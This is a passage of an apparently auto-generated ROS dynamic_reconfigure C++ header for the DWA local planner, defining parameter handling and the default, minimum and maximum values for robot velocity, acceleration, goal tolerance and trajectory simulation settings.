//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
int vx_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
int vy_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
int vth_samples;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
bool use_dwa;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
bool restore_defaults;
//#line 218 "/opt/ros/indigo/share/dynamic_reconfigure/cmake/../templates/ConfigType.h.template"
bool __fromMessage__(dynamic_reconfigure::Config &msg)
{
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
const std::vector<AbstractGroupDescriptionConstPtr> &__group_descriptions__ = __getGroupDescriptions__();
int count = 0;
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
if ((*i)->fromMessage(msg, *this))
count++;
for (std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = __group_descriptions__.begin(); i != __group_descriptions__.end(); i ++)
{
if ((*i)->id == 0)
{
boost::any n = boost::any(this);
(*i)->updateParams(n, *this);
(*i)->fromMessage(msg, n);
}
}
if (count != dynamic_reconfigure::ConfigTools::size(msg))
{
ROS_ERROR("DWAPlannerConfig::__fromMessage__ called with an unexpected parameter.");
ROS_ERROR("Booleans:");
for (unsigned int i = 0; i < msg.bools.size(); i++)
ROS_ERROR(" %s", msg.bools[i].name.c_str());
ROS_ERROR("Integers:");
for (unsigned int i = 0; i < msg.ints.size(); i++)
ROS_ERROR(" %s", msg.ints[i].name.c_str());
ROS_ERROR("Doubles:");
for (unsigned int i = 0; i < msg.doubles.size(); i++)
ROS_ERROR(" %s", msg.doubles[i].name.c_str());
ROS_ERROR("Strings:");
for (unsigned int i = 0; i < msg.strs.size(); i++)
ROS_ERROR(" %s", msg.strs[i].name.c_str());
// @todo Check that there are no duplicates. Make this error more
// explicit.
return false;
}
return true;
}
// This version of __toMessage__ is used during initialization of
// statics when __getParamDescriptions__ can't be called yet.
void __toMessage__(dynamic_reconfigure::Config &msg, const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__, const std::vector<AbstractGroupDescriptionConstPtr> &__group_descriptions__) const
{
dynamic_reconfigure::ConfigTools::clear(msg);
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
(*i)->toMessage(msg, *this);
for (std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = __group_descriptions__.begin(); i != __group_descriptions__.end(); ++i)
{
if((*i)->id == 0)
{
(*i)->toMessage(msg, *this);
}
}
}
void __toMessage__(dynamic_reconfigure::Config &msg) const
{
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
const std::vector<AbstractGroupDescriptionConstPtr> &__group_descriptions__ = __getGroupDescriptions__();
__toMessage__(msg, __param_descriptions__, __group_descriptions__);
}
void __toServer__(const ros::NodeHandle &nh) const
{
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
(*i)->toServer(nh, *this);
}
void __fromServer__(const ros::NodeHandle &nh)
{
static bool setup=false;
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
(*i)->fromServer(nh, *this);
const std::vector<AbstractGroupDescriptionConstPtr> &__group_descriptions__ = __getGroupDescriptions__();
for (std::vector<AbstractGroupDescriptionConstPtr>::const_iterator i = __group_descriptions__.begin(); i != __group_descriptions__.end(); i++){
if (!setup && (*i)->id == 0) {
setup = true;
boost::any n = boost::any(this);
(*i)->setInitialState(n);
}
}
}
void __clamp__()
{
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
const DWAPlannerConfig &__max__ = __getMax__();
const DWAPlannerConfig &__min__ = __getMin__();
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
(*i)->clamp(*this, __max__, __min__);
}
uint32_t __level__(const DWAPlannerConfig &config) const
{
const std::vector<AbstractParamDescriptionConstPtr> &__param_descriptions__ = __getParamDescriptions__();
uint32_t level = 0;
for (std::vector<AbstractParamDescriptionConstPtr>::const_iterator i = __param_descriptions__.begin(); i != __param_descriptions__.end(); ++i)
(*i)->calcLevel(level, config, *this);
return level;
}
static const dynamic_reconfigure::ConfigDescription &__getDescriptionMessage__();
static const DWAPlannerConfig &__getDefault__();
static const DWAPlannerConfig &__getMax__();
static const DWAPlannerConfig &__getMin__();
static const std::vector<AbstractParamDescriptionConstPtr> &__getParamDescriptions__();
static const std::vector<AbstractGroupDescriptionConstPtr> &__getGroupDescriptions__();
private:
static const DWAPlannerConfigStatics *__get_statics__();
};
template <> // Max and min are ignored for strings.
inline void DWAPlannerConfig::ParamDescription<std::string>::clamp(DWAPlannerConfig &config, const DWAPlannerConfig &max, const DWAPlannerConfig &min) const
{
return;
}
class DWAPlannerConfigStatics
{
friend class DWAPlannerConfig;
DWAPlannerConfigStatics()
{
DWAPlannerConfig::GroupDescription<DWAPlannerConfig::DEFAULT, DWAPlannerConfig> Default("Default", "", 0, 0, true, &DWAPlannerConfig::groups);
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.max_trans_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.max_trans_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.max_trans_vel = 0.55;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_trans_vel", "double", 0, "The absolute value of the maximum translational velocity for the robot in m/s", "", &DWAPlannerConfig::max_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_trans_vel", "double", 0, "The absolute value of the maximum translational velocity for the robot in m/s", "", &DWAPlannerConfig::max_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.min_trans_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.min_trans_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.min_trans_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_trans_vel", "double", 0, "The absolute value of the minimum translational velocity for the robot in m/s", "", &DWAPlannerConfig::min_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_trans_vel", "double", 0, "The absolute value of the minimum translational velocity for the robot in m/s", "", &DWAPlannerConfig::min_trans_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.max_vel_x = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.max_vel_x = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.max_vel_x = 0.55;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_vel_x", "double", 0, "The maximum x velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_vel_x", "double", 0, "The maximum x velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.min_vel_x = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.min_vel_x = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.min_vel_x = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_vel_x", "double", 0, "The minimum x velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_vel_x", "double", 0, "The minimum x velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.max_vel_y = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.max_vel_y = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.max_vel_y = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_vel_y", "double", 0, "The maximum y velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_vel_y", "double", 0, "The maximum y velocity for the robot in m/s", "", &DWAPlannerConfig::max_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.min_vel_y = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.min_vel_y = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.min_vel_y = -0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_vel_y", "double", 0, "The minimum y velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_vel_y", "double", 0, "The minimum y velocity for the robot in m/s", "", &DWAPlannerConfig::min_vel_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.max_rot_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.max_rot_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.max_rot_vel = 1.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_rot_vel", "double", 0, "The absolute value of the maximum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::max_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("max_rot_vel", "double", 0, "The absolute value of the maximum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::max_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.min_rot_vel = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.min_rot_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.min_rot_vel = 0.4;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_rot_vel", "double", 0, "The absolute value of the minimum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::min_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("min_rot_vel", "double", 0, "The absolute value of the minimum rotational velocity for the robot in rad/s", "", &DWAPlannerConfig::min_rot_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.acc_lim_x = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.acc_lim_x = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.acc_lim_x = 2.5;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_x", "double", 0, "The acceleration limit of the robot in the x direction", "", &DWAPlannerConfig::acc_lim_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_x", "double", 0, "The acceleration limit of the robot in the x direction", "", &DWAPlannerConfig::acc_lim_x)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.acc_lim_y = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.acc_lim_y = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.acc_lim_y = 2.5;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_y", "double", 0, "The acceleration limit of the robot in the y direction", "", &DWAPlannerConfig::acc_lim_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_y", "double", 0, "The acceleration limit of the robot in the y direction", "", &DWAPlannerConfig::acc_lim_y)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.acc_lim_theta = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.acc_lim_theta = 20.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.acc_lim_theta = 3.2;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_theta", "double", 0, "The acceleration limit of the robot in the theta direction", "", &DWAPlannerConfig::acc_lim_theta)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_lim_theta", "double", 0, "The acceleration limit of the robot in the theta direction", "", &DWAPlannerConfig::acc_lim_theta)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.acc_limit_trans = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.acc_limit_trans = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.acc_limit_trans = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_limit_trans", "double", 0, "The absolute value of the maximum translational acceleration for the robot in m/s^2", "", &DWAPlannerConfig::acc_limit_trans)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("acc_limit_trans", "double", 0, "The absolute value of the maximum translational acceleration for the robot in m/s^2", "", &DWAPlannerConfig::acc_limit_trans)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.prune_plan = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.prune_plan = 1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.prune_plan = 0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("prune_plan", "bool", 0, "Start following closest point of global plan, not first point (if different).", "", &DWAPlannerConfig::prune_plan)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<bool>("prune_plan", "bool", 0, "Start following closest point of global plan, not first point (if different).", "", &DWAPlannerConfig::prune_plan)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.xy_goal_tolerance = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.xy_goal_tolerance = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.xy_goal_tolerance = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("xy_goal_tolerance", "double", 0, "Within what maximum distance we consider the robot to be in goal", "", &DWAPlannerConfig::xy_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("xy_goal_tolerance", "double", 0, "Within what maximum distance we consider the robot to be in goal", "", &DWAPlannerConfig::xy_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.yaw_goal_tolerance = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.yaw_goal_tolerance = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.yaw_goal_tolerance = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("yaw_goal_tolerance", "double", 0, "Within what maximum angle difference we consider the robot to face goal direction", "", &DWAPlannerConfig::yaw_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("yaw_goal_tolerance", "double", 0, "Within what maximum angle difference we consider the robot to face goal direction", "", &DWAPlannerConfig::yaw_goal_tolerance)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.trans_stopped_vel = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.trans_stopped_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.trans_stopped_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("trans_stopped_vel", "double", 0, "Below what maximum velocity we consider the robot to be stopped in translation", "", &DWAPlannerConfig::trans_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("trans_stopped_vel", "double", 0, "Below what maximum velocity we consider the robot to be stopped in translation", "", &DWAPlannerConfig::trans_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.rot_stopped_vel = -std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.rot_stopped_vel = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.rot_stopped_vel = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("rot_stopped_vel", "double", 0, "Below what maximum rotation velocity we consider the robot to be stopped in rotation", "", &DWAPlannerConfig::rot_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("rot_stopped_vel", "double", 0, "Below what maximum rotation velocity we consider the robot to be stopped in rotation", "", &DWAPlannerConfig::rot_stopped_vel)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.sim_time = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.sim_time = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.sim_time = 1.7;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("sim_time", "double", 0, "The amount of time to roll trajectories out for in seconds", "", &DWAPlannerConfig::sim_time)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("sim_time", "double", 0, "The amount of time to roll trajectories out for in seconds", "", &DWAPlannerConfig::sim_time)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.sim_granularity = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.sim_granularity = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.sim_granularity = 0.025;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("sim_granularity", "double", 0, "The granularity with which to check for collisions along each trajectory in meters", "", &DWAPlannerConfig::sim_granularity)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("sim_granularity", "double", 0, "The granularity with which to check for collisions along each trajectory in meters", "", &DWAPlannerConfig::sim_granularity)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__min__.angular_sim_granularity = 0.0;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__max__.angular_sim_granularity = std::numeric_limits<double>::infinity();
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__default__.angular_sim_granularity = 0.1;
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
Default.abstract_parameters.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("angular_sim_granularity", "double", 0, "The granularity with which to check for collisions for rotations in radians", "", &DWAPlannerConfig::angular_sim_granularity)));
//#line 262 "/opt/ros/indigo/lib/python2.7/dist-packages/dynamic_reconfigure/parameter_generator_catkin.py"
__param_descriptions__.push_back(DWAPlannerConfig::AbstractParamDescriptionConstPtr(new DWAPlannerConfig::ParamDescription<double>("angular_sim_granularity", "double", 0, "The granularity with which to check for collisions for rotations in radians", "", &DWAPlannerConfig::angular_sim_granularity)));
